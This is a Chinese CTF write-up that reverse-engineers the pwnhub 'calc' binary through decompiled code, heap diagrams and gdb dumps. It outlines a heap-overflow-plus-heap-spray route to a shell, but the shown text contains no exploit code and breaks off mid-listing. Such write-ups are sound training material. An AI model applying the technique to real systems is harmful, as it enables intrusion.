Pwnhub 故事的开始 calc

漏洞点为一个整数溢出和一个堆溢出,其中整数溢出可以转化为另一个堆溢出。本题利用方法为利用原生的堆溢出漏洞,可以覆盖一个存在间接跳转的二级指针,因为没有开启NX,所以结合堆喷即可getshell。虽然堆喷解法的exp很简单,但本题的逆向却是是很耗时的。

  • 题目文件:calc

本题来自pwnhub的2016年的一次比赛,看起来好像是第一场比赛:题目列表 / Calculator(需要pwnhub账户),参考冠成师傅的Writeup:pwnhub.cn 故事的开始 calc Writeup

检查

➜  file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=454ff27c25ea5028bffdcfaf81e1c178d5cbce3a, stripped
➜  checksec calc
[*] '/Users/Desktop/pwn/pwnhub/calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

32位程序,除了canary剩下的保护全没开。大概运行一下知道是个计算器

➜  ./calc 
> 1 + 1             
2
> 2 - 3
-1
> -1 + 3
invalid number
expected 2 arguments, got 1

逆向

这个逆向工作是我遇到Pwn题里最大的了,而且主要是因为算法看不懂,还没有符号表,所以特此记录下逆向的思考过程:

就这玩意,那天我看了仨小时,终于看明白了。上次比赛在mcfx的提示下跟那个恶心的虚拟机代码相了一会面,真是,逆向这个玩意需要一个字。没人打扰,然后泡一杯茶或者咖啡,三四个小时后,一般会有顿悟。

main

首先是main函数

void __cdecl __noreturn main()
{
  int v0; // eax
  int v1; // eax
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  int v9; // eax
  int v10; // eax
  char *v11; // [esp+8h] [ebp-110h]
  char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
  unsigned int v13; // [esp+10Ch] [ebp-Ch]

  v13 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  dword_804D0B0 = sub_804A929();
  dword_804D0B4 = sub_804A8E9();
  dword_804D0AC = sub_804A8E9();
  v0 = sub_804A83F("add", (int)sub_80494AA);
  sub_804A946(dword_804D0B0, "add", v0);
  v1 = sub_804A83F("sub", (int)sub_8049C81);
  sub_804A946(dword_804D0B0, "sub", v1);
  v2 = sub_804A83F("mul", (int)sub_8049A0E);
  sub_804A946(dword_804D0B0, "mul", v2);
  v3 = sub_804A83F("div", (int)sub_8049DED);
  sub_804A946(dword_804D0B0, "div", v3);
  v4 = sub_804A83F("mod", (int)sub_8049F90);
  sub_804A946(dword_804D0B0, "mod", v4);
  v5 = sub_804A83F("not", (int)sub_804A135);
  sub_804A946(dword_804D0B0, "not", v5);
  v6 = sub_804A83F("int", (int)sub_8049854);
  sub_804A946(dword_804D0B0, "int", v6);
  v7 = sub_804A83F("exit", (int)sub_804A688);
  sub_804A946(dword_804D0B0, "exit", v7);
  v8 = sub_804A83F("equals", (int)sub_804A3C2);
  sub_804A946(dword_804D0B0, "equals", v8);
  v9 = sub_804A83F("type", (int)sub_804A61E);
  sub_804A946(dword_804D0B0, "type", v9);
  v10 = sub_804A83F("len", (int)sub_804A308);
  sub_804A946(dword_804D0B0, "len", v10);
  while ( 1 )
  {
    memset(s, 0, sizeof(s));
    printf("> ");
    if ( !fgets(s, 256, stdin) )
      break;
    v11 = strrchr(s, 10);
    if ( v11 )
      *v11 = 0;
    sub_8048BC1(s);
  }
  exit(0);
}

全局变量

首先dword_804D0B0、dword_804D0B4、dword_804D0AC是三个全局变量,赋值的三个函数分别是在堆上申请0x10,0x84,0x84大小的堆空间的地址,并初始化为0。

运算符定义

然后是重复的这种代码:

v0 = sub_804A83F("add", (int)sub_80494AA);
sub_804A946(dword_804D0B0, "add", v0);

其中sub_804A83F就是创造了一个结构体,结构体中包括了:

  1. add这个字符串的地址
  2. function字符串的地址
  3. 还有第二个参数sub_80494AA这个函数的地址,大概看了这个函数,估计就是加法的实现

sub_804A83F这个函数看起来就是将add字符串和加法处理函数绑定为一个结构体。

然后就是sub_804A946,参数是第一个保存着一个0x10大小堆块地址的全局变量,add字符串,以及刚才创造出来的结构体,函数较复杂,接下来详细分析。

输入处理

然是很重要的:处理输入的部分

while ( 1 )
{
   memset(s, 0, sizeof(s));
   printf("> ");
   if ( !fgets(s, 256, stdin) )
   break;
   v11 = strrchr(s, 10);
   if ( v11 )
   *v11 = 0;
   sub_8048BC1(s);
}

The fgets() function reads at most one less than the number of characters specified by size from the given stream and stores them in the string str.

可以看到在man命令中的描述fgets是会接收一个size-1长度的输入,本题的缓冲区在栈上也是256字节,所以不会存在0字节溢出。接收完输入就送到sub_8048BC1函数中去处理了,故看起来sub_8048BC1就是最后的处理函数。

sub_804A946

然后我们来看一下在运算符定义那个函数:sub_804A946

第一次进入

首先以add定义为例,传入该函数的参数分别是:

  1. dword_804D0B0
  2. “add”
  3. sub_804A83F创造出的结构体

这个函数如下,如果想看干净一点的可以把IDA给出的注释隐藏起来,右键hist casts即可。

int __cdecl sub_804A946(int a1, char *s, int a3)
{
  int result; // eax
  size_t i; // [esp+4h] [ebp-14h]
  int v5; // [esp+8h] [ebp-10h]
  signed int v6; // [esp+Ch] [ebp-Ch]

  if ( !*(_DWORD *)a1 )
  {
    *(_DWORD *)a1 = calloc(0x10u, 1u);
    *(_BYTE *)(*(_DWORD *)a1 + 8) = *s;
  }
  v5 = *(_DWORD *)a1;
  v6 = strlen(s);
  for ( i = 0; (int)i <= v6; ++i )
  {
    while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
      v5 = *(_DWORD *)(v5 + 4);
    if ( *(_BYTE *)(v5 + 8) != s[i] )
    {
      *(_DWORD *)(v5 + 4) = calloc(0x10u, 1u);
      *(_BYTE *)(*(_DWORD *)(v5 + 4) + 8) = s[i];
      v5 = *(_DWORD *)(v5 + 4);
      while ( strlen(s) > i )
      {
        *(_DWORD *)v5 = calloc(0x10u, 1u);
        *(_BYTE *)(*(_DWORD *)v5 + 8) = s[++i];
        v5 = *(_DWORD *)v5;
      }
      break;
    }
    if ( !s[i] )
      break;
    if ( !*(_DWORD *)v5 )
    {
      *(_DWORD *)v5 = calloc(0x10u, 1u);
      *(_BYTE *)(*(_DWORD *)v5 + 8) = s[i + 1];
    }
    v5 = *(_DWORD *)v5;
  }
  result = v5;
  *(_DWORD *)(v5 + 12) = a3;
  return result;
}

不过无论因不隐藏注释,这个函数的确是有点恐怖,一堆没名字的变量,然后还有一堆星。不过不要害怕,静下来,一行一行看就是了:

if ( !*(_DWORD *)a1 )
  {
    *(_DWORD *)a1 = calloc(0x10u, 1u);
    *(_BYTE *)(*(_DWORD *)a1 + 8) = *s;
  }
  • 首先检查*a1是否有内容,a1是dword_804D0B0,即a1保存了一个堆上申请大小为0x10的空间的地址,但*a1是这个0x10的堆空间,显然这个堆内存是刚刚申请的并没有被使用,所以会进入到这个if判断中。
  • 然后会在申请一个大小为0x10的堆空间,并且把新申请的地址放到*a1这个堆空间的前四个字节处
  • 第三句去了注释为:*(*a1 + 8) = *s;,可以看到去掉注释是丢了信息:(_BYTE *),这个意思是之赋值一个字节,所以还是要留意IDA给出的注释的
  • *(*a1 + 8) = *s;的意思是,将第二个参数的"add"的第一个字节,也是第一个字符'a',放到新申请的堆块的第9个字节上。(很奇怪的操作)

当前的数据结构大致如下:

       bss                               heap                              heap
+---------------+                 +---------------+                 +---------------+
|    &chunk1    | +-------------> |    &chunk2    | +-------------> |               |
+---------------+                 +---------------+                 +---------------+
  dword_804D0B0                   |               |                 |               |
                                  +---------------+                 +---------------+
                                  |               |                 |      'a'      |
                                  +---------------+                 +---------------+
                                  |               |                 |               |
                                  +---------------+                 +---------------+

                                        chunk1                           chunk2
v5 = *(_DWORD *)a1;
v6 = strlen(s);

然后将新申请的堆块(chunk2)的地址,赋值给v5,"add"字符串的长度3,赋值给v6,然后进入以v6为判断条件的for循环,进入后紧接着是一个while循环:

while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
      v5 = *(_DWORD *)(v5 + 4);

*(v5+4)就是chunk2的第2个slot为空,所以不会进入这个循环,继续往下:

if ( *(_BYTE *)(v5 + 8) != s[i] )

当前i为0,*(v5 + 8)'a's[0]也是'a',故也不会进入这个if分支:

if ( !s[i] )

s[0]'a',非空,故也不仅进入这个分支,继续

if ( !*(_DWORD *)v5 )
    {
      *(_DWORD *)v5 = calloc(0x10u, 1u);
      *(_BYTE *)(*(_DWORD *)v5 + 8) = s[i + 1];
    }
    v5 = *(_DWORD *)v5;

*v5是chunk2中的第一个元素,为空,故进入这个分支,发现又会申请一个0x10的chunk3,然后把chunk3的地址放到chunk2的第一个元素上,并且把”add”的第2个字符'd',放入chunk3的第9个字节处。然后更新v5为chunk3的地址继续循环,此时数据结构为:

       bss                               heap                              heap                              heap
+---------------+                 +---------------+                 +---------------+                 +---------------+
|    &chunk1    | +-------------> |    &chunk2    | +-------------> |    &chunk3    | +-------------> |               |
+---------------+                 +---------------+                 +---------------+                 +---------------+
  dword_804D0B0                   |               |                 |               |                 |               |
                                  +---------------+                 +---------------+                 +---------------+
                                  |               |                 |      'a'      |                 |      'd'      |
                                  +---------------+                 +---------------+                 +---------------+
                                  |               |                 |               |                 |               |
                                  +---------------+                 +---------------+                 +---------------+

                                        chunk1                           chunk2                            chunk3

for循环i的变化为0-3,当i=1时:



       bss                               heap                              heap                              heap                              heap
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+
|    &chunk1    | +-------------> |    &chunk2    | +-------------> |    &chunk3    | +-------------> |    &chunk4    | +-------------> |               |
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+
  dword_804D0B0                   |               |                 |               |                 |               |                 |               |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+
                                  |               |                 |      'a'      |                 |      'd'      |                 |      'd'      |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+
                                  |               |                 |               |                 |               |                 |               |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+

                                        chunk1                           chunk2                            chunk3                            chunk4

当i=2时:

       bss                               heap                              heap                              heap                              heap                              heap
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+
|    &chunk1    | +-------------> |    &chunk2    | +-------------> |    &chunk3    | +-------------> |    &chunk4    | +-------------> |    &chunk5    | +-------------> |               |
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+
  dword_804D0B0                   |               |                 |               |                 |               |                 |               |                 |               |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+
                                  |               |                 |      'a'      |                 |      'd'      |                 |      'd'      |                 |               |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+
                                  |               |                 |               |                 |               |                 |               |                 |               |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+

                                        chunk1                           chunk2                            chunk3                            chunk4                            chunk5

当i=3时,s[3]为空,会进入break分支终止循环:

if ( !s[i] )
      break;

最后会执行:

result = v5;
*(_DWORD *)(v5 + 12) = a3;
return result;

将最后一个chunk的最后四个字节写为a3的值,a3就是sub_804A83F函数创造出的结构体的地址,然后返回指向最后一个chunk的指针,最后的结构体如下:

                                         heap
                                  +---------------+
                                  |    &"add"     | <---------------------------------------------------------------------------------------------------------------------------------------------------+
                                  +---------------+                                                                                                                                                     |
                                  |  &"function"  |                                                                                                                                                     |
                                  +---------------+                                                                                                                                                     |
                                  |  sub_80494AA  |                                                                                                                                                     |
                                  +---------------+                                                                                                                                                     |
                                  |               |                                                                                                                                                     |
                                  +---------------+                                                                                                                                                     |
                                                                                                                                                                                                        |
                                       chunk0                                                                                                                                                           |
                                                                                                                                                                                                        |
                                                                                                                                                                                                        |
       bss                               heap                              heap                              heap                              heap                              heap                   |
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+             |
|    &chunk1    | +-------------> |    &chunk2    | +-------------> |    &chunk3    | +-------------> |    &chunk4    | +-------------> |    &chunk5    | +-------------> |               |             |
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+             |
  dword_804D0B0                   |               |                 |               |                 |               |                 |               |                 |               |             |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+             |
                                  |               |                 |      'a'      |                 |      'd'      |                 |      'd'      |                 |               |             |
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+             |
                                  |               |                 |               |                 |               |                 |               |                 |    &chunk0    +-------------+
                                  +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+

                                        chunk1                           chunk2                            chunk3                            chunk4                            chunk5

我们可以在gdb中看一下当程序初始化后,堆的状态是否和我给出的一致:

  gdb -q ./calc 
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./calc...(no debugging symbols found)...done.
gef  r
Starting program: /mnt/hgfs/桌面/pwn/pwnhub/calc/calc 
> ^C
gef  heap chunks
Chunk(addr=0x804e008, size=0x18, flags=PREV_INUSE)
    [0x0804e008     58 e1 04 08 00 00 00 00 00 00 00 00 00 00 00 00    X...............]
Chunk(addr=0x804e020, size=0x88, flags=PREV_INUSE)
    [0x0804e020     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x804e0a8, size=0x88, flags=PREV_INUSE)
    [0x0804e0a8     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x804e130, size=0x18, flags=PREV_INUSE)
    [0x0804e130     48 e1 04 08 99 ae 04 08 aa 94 04 08 00 00 00 00    H...............]
Chunk(addr=0x804e148, size=0x10, flags=PREV_INUSE)
    [0x0804e148     61 64 64 00 00 00 00 00 00 00 00 00 19 00 00 00    add.............]
Chunk(addr=0x804e158, size=0x18, flags=PREV_INUSE)
    [0x0804e158     70 e1 04 08 e0 e1 04 08 61 00 00 00 00 00 00 00    p.......a.......]
Chunk(addr=0x804e170, size=0x18, flags=PREV_INUSE)
    [0x0804e170     88 e1 04 08 00 00 00 00 64 00 00 00 00 00 00 00    ........d.......]
Chunk(addr=0x804e188, size=0x18, flags=PREV_INUSE)
    [0x0804e188     a0 e1 04 08 00 00 00 00 64 00 00 00 00 00 00 00    ........d.......]
Chunk(addr=0x804e1a0, size=0x18, flags=PREV_INUSE)
    [0x0804e1a0     00 00 00 00 00 00 00 00 00 00 00 00 30 e1 04 08    ............0...]

完美对应:

  • chunk1: 0x804e008
  • chunk2: 0x804e158
  • chunk3: 0x804e170
  • chunk4: 0x804e188
  • chunk5: 0x804e1a0
  • chunk0: 0x804e130

第二次进入

可以看到第一次我们是有两个分支没有进入的,我们看一下当我们第二次进入这个函数时会发生怎样的效果呢?有了第一次的分析,第二次则会容易的多,我们来看看main函数初始化sub运算时:

v1 = sub_804A83F("sub", (int)sub_8049C81);
sub_804A946(dword_804D0B0, "sub", v1);

进入sub_804A946这个函数时的情景吧:

if ( !*(_DWORD *)a1 )

首先仍然会判断第一个参数dword_804D0B0,不过因为数据结构还是如上图的状态,dword_804D0B0指向chunk1,chunk1的第一个元素是指向chunk2的指针,非空,所以不会进入这个分支,继续:

v5 = *(_DWORD *)a1;
v6 = strlen(s);

然后将chunk2的地址赋值给v5,”sub”的长度3,赋值给v6,然后进入循环,进入后还是先看while:

 while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
      v5 = *(_DWORD *)(v5 + 4);

chunk2的第二个元素仍然是空,所以仍然不进入这个循环,继续:

 if ( *(_BYTE *)(v5 + 8) != s[i] )

当前v5是指向chunk2的,所以chunk2的第3个元素是'a',而s[0]'s',二者不相等,故进入该分支。

*(_DWORD *)(v5 + 4) = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)(v5 + 4) + 8) = s[i];
v5 = *(_DWORD *)(v5 + 4);

然后又是申请0x10的堆空间,然后将新堆块的地址放到chunk2的第2个元素上,然后将s[0]即’s’写到新堆块的第三个元素上,然后将v5更新为指向新堆块的指针

while ( strlen(s) > i )
{
   *(_DWORD *)v5 = calloc(0x10u, 1u);
   *(_BYTE *)(*(_DWORD *)v5 + 8) = s[++i];
   v5 = *(_DWORD *)v5;
}
break;

然后不断的申请堆块,填写”sub”的后两个字符,到新的堆块中,最后退出整个大循环,继续:

result = v5;
*(_DWORD *)(v5 + 12) = a3;
return result;

将最开始的一个结构体链接到最后一个堆块上,并返回最后一个堆块的地址,完成第二次进入后数据结构如下:

       bss                               heap                              heap                              heap                              heap                              heap                             heap
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+                +---------------+
|    &chunk1    | +-------------> |    &chunk2    | +-------------> |    &chunk3    | +-------------> |    &chunk4    | +-------------> |    &chunk5    | +-------------> |               |       +------> |    &"add"     |
+---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+                 +---------------+       |        +---------------+
  dword_804D0B0                   |               |        +------+ |    &chunk6    |                 |               |                 |               |                 |               |       |        |  &"function"  |
                                  +---------------+        |        +---------------+                 +---------------+                 +---------------+                 +---------------+       |        +---------------+
                                  |               |        |        |      'a'      |                 |      'd'      |                 |      'd'      |                 |               |       |        |  sub_80494AA  |
                                  +---------------+        |        +---------------+                 +---------------+                 +---------------+                 +---------------+       |        +---------------+
                                  |               |        |        |               |                 |               |                 |               |                 |  &chunk_add   | +-----+        |               |
                                  +---------------+        |        +---------------+                 +---------------+                 +---------------+                 +---------------+                +---------------+
                                                           |
                                        chunk1             |             chunk2                            chunk3                            chunk4                            chunk5                           chunk_add
                                                           |
                                                           |
                                                           |
                                                           |               heap                              heap                              heap                              heap                             heap
                                                           |        +---------------+                 +---------------+                 +---------------+                 +---------------+                +---------------+
                                                           +------> |    &chunk7    | +-------------> |    &chunk8    | +-------------> |    &chunk9    | +-------------> |               |       +------> |    &"sub"     |
                                                                    +---------------+                 +---------------+                 +---------------+                 +---------------+       |        +---------------+
                                                                    |               |                 |               |                 |               |                 |               |       |        |  &"function"  |
                                                                    +---------------+                 +---------------+                 +---------------+                 +---------------+       |        +---------------+
                                                                    |      's'      |                 |      'u'      |                 |      'b'      |                 |               |       |        |  sub_8049C81  |
                                                                    +---------------+                 +---------------+                 +---------------+                 +---------------+       |        +---------------+
                                                                    |               |                 |               |                 |               |                 |  &chunk_sub   | +-----+        |               |
                                                                    +---------------+                 +---------------+                 +---------------+                 +---------------+                +---------------+

                                                                         chunk6                            chunk7                            chunk8                            chunk9                           chunk_sub

所以分析到这大概也猜出来了,这就是根据我们输入来找处理函数的实现。而且也能看出来我们前两次都没有进去的循环:

while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
      v5 = *(_DWORD *)(v5 + 4);

就是寻找到下一个可以在插入链表的地方,而且可以看到后面的那个判断,说明字母是可以重用的,比如”mod”和”mul”,的字母m,应该用的就是一个相同的m节点。

总结

我们再来审视一下这个函数的全貌(隐藏了IDA的注释),是不是没有那么吓人了呢?

int __cdecl sub_804A946(int a1, char *s, int a3)
{
  int result; // eax
  size_t i; // [esp+4h] [ebp-14h]
  int v5; // [esp+8h] [ebp-10h]
  signed int v6; // [esp+Ch] [ebp-Ch]

  if ( !*a1 )
  {
    *a1 = calloc(0x10u, 1u);
    *(*a1 + 8) = *s;
  }
  v5 = *a1;
  v6 = strlen(s);
  for ( i = 0; i <= v6; ++i )
  {
    while ( *(v5 + 4) && *(v5 + 8) != s[i] )
      v5 = *(v5 + 4);
    if ( *(v5 + 8) != s[i] )
    {
      *(v5 + 4) = calloc(0x10u, 1u);
      *(*(v5 + 4) + 8) = s[i];
      v5 = *(v5 + 4);
      while ( strlen(s) > i )
      {
        *v5 = calloc(0x10u, 1u);
        *(*v5 + 8) = s[++i];
        v5 = *v5;
      }
      break;
    }
    if ( !s[i] )
      break;
    if ( !*v5 )
    {
      *v5 = calloc(0x10u, 1u);
      *(*v5 + 8) = s[i + 1];
    }
    v5 = *v5;
  }
  result = v5;
  *(v5 + 12) = a3;
  return result;
}

总结一下这个函数的主要功能就是,将dword_804D0B0这个全局变量作为一个入口,创造出一个关于运算符与运算函数绑定的纵横交错的链表,想想这不就是二叉树么?

sub_8048BC1

经过了上一个函数的洗礼,继续看这个对我们最终输入的处理函数,应该就不难了,虽然长,当时没有那么多的指针操作,基本都是逻辑上的处理,以及函数的调用:

int __cdecl sub_8048BC1(char *s)
{
  int v1; // eax
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int result; // eax
  const char *v9; // eax
  char *s1; // [esp+0h] [ebp-48h]
  char *s1a; // [esp+0h] [ebp-48h]
  int v12; // [esp+4h] [ebp-44h]
  char *v13; // [esp+8h] [ebp-40h]
  int v14; // [esp+Ch] [ebp-3Ch]
  int v15; // [esp+10h] [ebp-38h]
  int v16; // [esp+14h] [ebp-34h]
  int v17; // [esp+18h] [ebp-30h]
  int v18; // [esp+1Ch] [ebp-2Ch]
  int v19; // [esp+20h] [ebp-28h]
  int v20; // [esp+24h] [ebp-24h]
  char *v21; // [esp+28h] [ebp-20h]
  char *v22; // [esp+2Ch] [ebp-1Ch]
  char *nptr; // [esp+30h] [ebp-18h]
  char *nptra; // [esp+30h] [ebp-18h]
  char *v25; // [esp+34h] [ebp-14h]
  int v26; // [esp+38h] [ebp-10h]
  int v27; // [esp+3Ch] [ebp-Ch]

  s1 = strtok(s, " ");
  while ( s1 )
  {
    if ( ((*__ctype_b_loc())[*s1] & 0x800) != 0 || *s1 == 45 && strlen(s1) > 1 )
    {
      if ( sub_804886B(s1) )
      {
        v12 = sub_804A6F8((char *)byte_804AC65, s1);
        sub_804A8B5(dword_804D0B4, v12);
      }
      else
      {
        puts("invalid number");
      }
      goto LABEL_61;
    }
    if ( *s1 == 34 )
    {
      s1a = s1 + 1;
      v13 = strchr(s1a, 34);
      if ( v13 )
      {
        *v13 = 0;
        v1 = sub_804A764((char *)byte_804AC65, s1a);
        sub_804A8B5(dword_804D0B4, v1);
      }
      else
      {
        printf("EOL while scanning string literal %s\n", s1a - 1);
      }
      goto LABEL_61;
    }
    if ( !strcmp(s1, "var") )
    {
      v21 = strtok(0, " ");
      v22 = strtok(0, " ");
      if ( !v22 )
        break;
      if ( *v22 == 61 )
      {
        nptr = strtok(0, " ");
        if ( !nptr )
        {
          puts("invalid syntax");
          break;
        }
        if ( *nptr == 34 )
        {
          nptra = nptr + 1;
          v25 = strchr(nptra, 34);
          if ( v25 )
          {
            *v25 = 0;
            v2 = sub_804A764(v21, nptra);
            sub_804A946(dword_804D0B0, v21, v2);
          }
        }
        else if ( !strcmp(nptr, "False") )
        {
          v3 = sub_804A7CC(v21, nptr);
          sub_804A946(dword_804D0B0, v21, v3);
        }
        else
        {
          if ( !strcmp(nptr, "True") )
            v4 = sub_804A7CC(v21, nptr);
          else
            v4 = sub_804A6F8(v21, nptr);
          sub_804A946(dword_804D0B0, v21, v4);
        }
      }
      else
      {
        v5 = sub_804A6F8(v21, "0");
        sub_804A946(dword_804D0B0, v21, v5);
      }
LABEL_61:
      s1 = strtok(0, " ");
    }
    else if ( !strcmp(s1, "True") )
    {
      v6 = sub_804A7CC((char *)byte_804AC65, "True");
      sub_804A8B5(dword_804D0B4, v6);
      s1 = strtok(0, " ");
    }
    else
    {
      if ( strcmp(s1, "False") )
      {
        if ( !strcmp(s1, "+") )
        {
          v14 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "add") + 12);
          if ( !strcmp(*(const char **)(v14 + 4), "function") )
            sub_804A8B5(dword_804D0AC, v14);
          else
            sub_804A8B5(dword_804D0B4, v14);
        }
        else if ( !strcmp(s1, "-") )
        {
          v15 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "sub") + 12);
          if ( !strcmp(*(const char **)(v15 + 4), "function") )
            sub_804A8B5(dword_804D0AC, v15);
          else
            sub_804A8B5(dword_804D0B4, v15);
        }
        else if ( !strcmp(s1, "*") )
        {
          v16 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "mul") + 12);
          if ( !strcmp(*(const char **)(v16 + 4), "function") )
            sub_804A8B5(dword_804D0AC, v16);
          else
            sub_804A8B5(dword_804D0B4, v16);
        }
        else if ( !strcmp(s1, "/") )
        {
          v17 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "div") + 12);
          if ( !strcmp(*(const char **)(v17 + 4), "function") )
            sub_804A8B5(dword_804D0AC, v17);
          else
            sub_804A8B5(dword_804D0B4, v17);
        }
        else if ( !strcmp(s1, "%") )
        {
          v18 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "mod") + 12);
          if ( !strcmp(*(const char **)(v18 + 4), "function") )
            sub_804A8B5(dword_804D0AC, v18);
          else
            sub_804A8B5(dword_804D0B4, v18);
        }
        else if ( !strcmp(s1, "==") )
        {
          v19 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "equals") + 12);
          if ( !strcmp(*(const char **)(v19 + 4), "function") )
            sub_804A8B5(dword_804D0AC, v19);
          else
            sub_804A8B5(dword_804D0B4, v19);
        }
        else if ( sub_804AADE(dword_804D0B0, s1) )
        {
          v20 = *(_DWORD *)(sub_804AADE(dword_804D0B0, s1) + 12);
          if ( !strcmp(*(const char **)(v20 + 4), "function") )
            sub_804A8B5(dword_804D0AC, v20);
          else
            sub_804A8B5(dword_804D0B4, v20);
        }
        else
        {
          printf("name '%s' is not defined \n", s1);
        }
        goto LABEL_61;
      }
      v7 = sub_804A7CC((char *)byte_804AC65, "False");
      sub_804A8B5(dword_804D0B4, v7);
      s1 = strtok(0, " ");
    }
  }
  while ( !sub_804A8D7(dword_804D0AC) )
  {
    v26 = sub_804A88E(dword_804D0AC);
    (*(void (**)(void))(v26 + 8))();
  }
  result = sub_804A8D7(dword_804D0B4);
  if ( !result )
  {
    v27 = sub_804A88E(dword_804D0B4);
    if ( !strcmp(*(const char **)(v27 + 4), "int") )
    {
      result = printf("%d\n", *(_DWORD *)(v27 + 8));
    }
    else if ( !strcmp(*(const char **)(v27 + 4), "str") )
    {
      result = puts(*(const char **)(v27 + 8));
    }
    else
    {
      result = strcmp(*(const char **)(v27 + 4), "bool");
      if ( !result )
      {
        if ( *(_DWORD *)(v27 + 8) == 1 )
          v9 = "True";
        else
          v9 = "False";
        result = puts(v9);
      }
    }
  }
  return result;
}

如果在IDA中看着不舒服可以复制到vscode中将代码块收起,可以看出整个函数大致分为三个部分:

  1. while ( s1 )
  2. while ( !sub_804A8D7(dword_804D0AC) )
  3. if ( !result )

分析完大概清楚了以上三个部分的功能:

  1. 第一个部分就会对我们的输入进行解析,根据空格,每个运算符和运算数都会被封装为一个结构体,另外两个全局变量dword_804D0B4、dword_804D0AC就是用来保存的运算符与运算数的结构体的指针,支持除了”+-*/”这种符号以外,还支持”sub add mul mod”等英文运算符,以及var定义变量
  2. 根据两个全局变量存放的运算符和运算数进行运算,调用运算符结构体中的第三个元素,即在main函数注册的函数,运算后的结果保存到最后剩下的一个运算数中
  3. 最后根据类型返回运算数中最后的一个元素

不过这里有两个地方值得提一下strtok__ctype_b_loc

strtok

这个函数就是按照给定字符划分字符串,不过这个函数是可以保存上下文的,每次调用返回一个字符串,除第一次调用需要传入原始字符串,之后只需要传入NULL即可获取下一个被分隔的字符串:

# include <string.h>
# include <stdio.h>

int main(){
    char s[]= "hello world I am xuanxuan";
    printf("%s\n",strtok(s," "));
    printf("%s\n",strtok(NULL," "));
    printf("%s\n",strtok(NULL," "));
    printf("%s\n",strtok(NULL," "));
    printf("%s\n",strtok(NULL," "));
}

输出为:

hello
world
I
am
xuanxuan

所以看到上述函数中的go LABEL_61

LABEL_61:
      s1 = strtok(0, " ");

其实就是继续按空格拆分字符串

__ctype_b_loc

另外在这函数中上来有这么一个表达式:

((*__ctype_b_loc())[*s1] & 0x800) != 0

其实就是一个判断字符的函数的宏定义的展开,如下源码:

# include <stdio.h>
# include <ctype.h>

char s = 'a';

int main(){
    printf("isalnum %d\n",isalnum(s));
    printf("isalpha %d\n",isalpha(s));
    printf("iscntrl %d\n",iscntrl(s));
    printf("isdigit %d\n",isdigit(s));
    printf("isgraph %d\n",isgraph(s));
    printf("islower %d\n",islower(s));
    printf("isprint %d\n",isprint(s));
    printf("ispunct %d\n",ispunct(s));
    printf("isspace %d\n",isspace(s));
    printf("isupper %d\n",isupper(s));
    printf("isxdigit %d\n",isxdigit(s));
    printf("isblank %d\n",isblank(s));
}

在linux上编译后的ELF文件通过IDA解析后如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const unsigned __int16 **v3; // rax
  const unsigned __int16 **v4; // rax
  const unsigned __int16 **v5; // rax
  const unsigned __int16 **v6; // rax
  const unsigned __int16 **v7; // rax
  const unsigned __int16 **v8; // rax
  const unsigned __int16 **v9; // rax
  const unsigned __int16 **v10; // rax
  const unsigned __int16 **v11; // rax
  const unsigned __int16 **v12; // rax
  const unsigned __int16 **v13; // rax
  const unsigned __int16 **v14; // rax

  v3 = __ctype_b_loc();
  printf("isalnum %d\n", (*v3)[s] & 8);
  v4 = __ctype_b_loc();
  printf("isalpha %d\n", (*v4)[s] & 0x400);
  v5 = __ctype_b_loc();
  printf("iscntrl %d\n", (*v5)[s] & 2);
  v6 = __ctype_b_loc();
  printf("isdigit %d\n", (*v6)[s] & 0x800);
  v7 = __ctype_b_loc();
  printf("isgraph %d\n", (*v7)[s] & 0x8000);
  v8 = __ctype_b_loc();
  printf("islower %d\n", (*v8)[s] & 0x200);
  v9 = __ctype_b_loc();
